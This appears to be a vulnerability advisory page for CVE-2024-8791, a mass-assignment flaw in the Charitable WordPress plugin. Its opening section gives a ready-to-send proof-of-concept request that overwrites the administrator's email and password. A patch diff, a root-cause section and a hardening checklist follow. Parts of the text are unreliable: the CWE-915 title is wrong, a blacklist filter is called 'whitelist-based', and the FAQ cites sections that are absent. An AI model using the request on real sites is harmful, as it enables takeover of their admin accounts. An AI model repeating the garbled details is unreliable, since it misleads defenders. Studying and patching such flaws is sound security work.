SECURITY ADVISORY / 01

CVE-2024-8791 Exploit & Vulnerability Analysis

Complete CVE-2024-8791 security advisory with proof of concept (PoC), exploit details, and patch analysis for charitable.

charitable products NVD ↗
Exploit PoC Vulnerability Patch Analysis

The Exploit

An unauthenticated attacker can modify any WordPress user account — including administrators — by submitting an ID parameter in a form request to the Charitable user profile update handler.

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.wordpress.local
Content-Type: application/x-www-form-urlencoded

action=charitable_register_user&
ID=1&
user_email=attacker%40evil.com&
user_pass=NewPassword123&
_wpnonce=<valid_nonce>

The attacker must obtain a valid nonce (from any public registration or profile page served by the plugin). The response confirms the email and password of user ID 1 (typically the site administrator) have been changed. The attacker then logs in with admin / NewPassword123, gaining full administrative access to the WordPress installation.

What the Patch Did

Before

$user    = new Charitable_User();
$user_id = $user->update_profile( $submitted, array_keys( $fields ) );

After

// Remove any ID fields that may have been submitted.
if ( array_key_exists( 'ID', $submitted ) ) {
    unset( $submitted['ID'] );
}

$user    = new Charitable_User();
$user_id = $user->update_profile( $submitted, array_keys( $fields ) );

The patch added explicit filtering of the ID key from the $submitted array before passing it to update_profile(). This is a whitelist-based input filter applied at the point of use: the plugin now rejects any form submission containing an ID field, preventing mass assignment of the user identity attribute.

Root Cause

CWE-915: Improper Initialization with Hard-Coded Network Resource Configuration Data (Mass Assignment / Insecure Direct Object Reference).

The dataflow is straightforward: user-supplied POST parameters (including ID) flow from $_POST into the $submitted array via the AJAX handler. This array is passed directly to Charitable_User::update_profile() without filtering. The update_profile() method extracts and passes values from $submitted to WordPress' wp_update_user() function, which respects an ID field to specify which user account to modify. Because no authentication check verifies that the current user owns or can modify the target user ID, any unauthenticated visitor can supply ID=1 to overwrite the administrator.

Why It Works

The load-bearing line is unset( $submitted['ID'] ) — removing this would leave the vulnerability intact. The preceding if condition is defensive hygiene; without it, unset() would raise a notice. The crucial effect is that update_profile() no longer receives an ID parameter, so it cannot target an arbitrary user. Instead, it must infer the user ID from the current request context (typically creating a new user or updating the authenticated user), and crucially, it has no external directive to change the target.

The patch was applied in two locations (class-charitable-registration-form.php and class-charitable-user.php) because the same unsafe pattern existed in multiple code paths. The engineer added the same check twice to ensure that no form submission — whether registration, profile update, or direct function call — could sneak an ID parameter past the filter. This is defence-in-depth by redundancy: if one patch site is missed or if code is refactored, the other still holds.

Hardening Checklist

  • Never pass $_POST directly to database update functions. Use wp_parse_args() with an explicit whitelist of allowed keys before passing user input to any wp_update_*() function.

  • Apply sanitize_text_field() and sanitize_email() to user-supplied email and password fields. This does not prevent mass assignment, but it hardens against secondary injection when the modified data is displayed or logged.

  • Nonce-check every AJAX endpoint that modifies data. Use wp_verify_nonce() at the handler entry point. While nonces do not authenticate the user, they prevent CSRF and make mass-assignment exploits harder to chain in real-world scenarios.

  • Audit all calls to Charitable_User::update_profile() and similar methods in a static analysis pass. Grep for patterns where $_POST, $_GET, or unsanitized request arrays are passed to any update function without prior filtering.

  • Write a unit test that explicitly attempts to pass ID in a registration request and asserts it is ignored. Test both authenticated and unauthenticated contexts. This prevents regression when refactoring user-handling code.

References

  • https://nvd.nist.gov/vuln/detail/CVE-2024-8791

Frequently asked questions about CVE-2024-8791

What is CVE-2024-8791?

CVE-2024-8791 is a security vulnerability identified in charitable. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2024-8791?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2024-8791. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2024-8791 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology affecting charitable. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2024-8791?

CVE-2024-8791 affects charitable. Check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2024-8791?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls for charitable.

What is the CVSS score for CVE-2024-8791?

The severity rating and CVSS scoring for CVE-2024-8791 affecting charitable is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.